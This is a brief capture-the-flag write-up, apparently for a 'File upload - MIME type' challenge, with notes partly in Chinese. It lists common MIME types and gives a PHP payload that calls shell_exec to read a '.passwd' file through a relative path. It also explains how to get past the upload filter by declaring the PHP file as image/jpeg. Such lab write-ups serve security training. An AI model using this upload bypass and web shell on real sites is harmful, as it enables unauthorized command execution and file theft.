File upload - MIME type

Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
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修改mime type类型即可，常用类型：

　　• 超文本标记语言：.html text.html

　　• 普通文件：.txt text/plain

　　• RTF文件：.rtf application/rtf

　　• GIF图形：.gif image/gif

　　• JPEG图形：.jpeg，.jpg image/jpeg

<?php
　　$a = shell_exec("cat ../../../.passwd");

　　echo "</pre>$a</pre>";
?>

再上传php中将mime type 更改为image/jpeg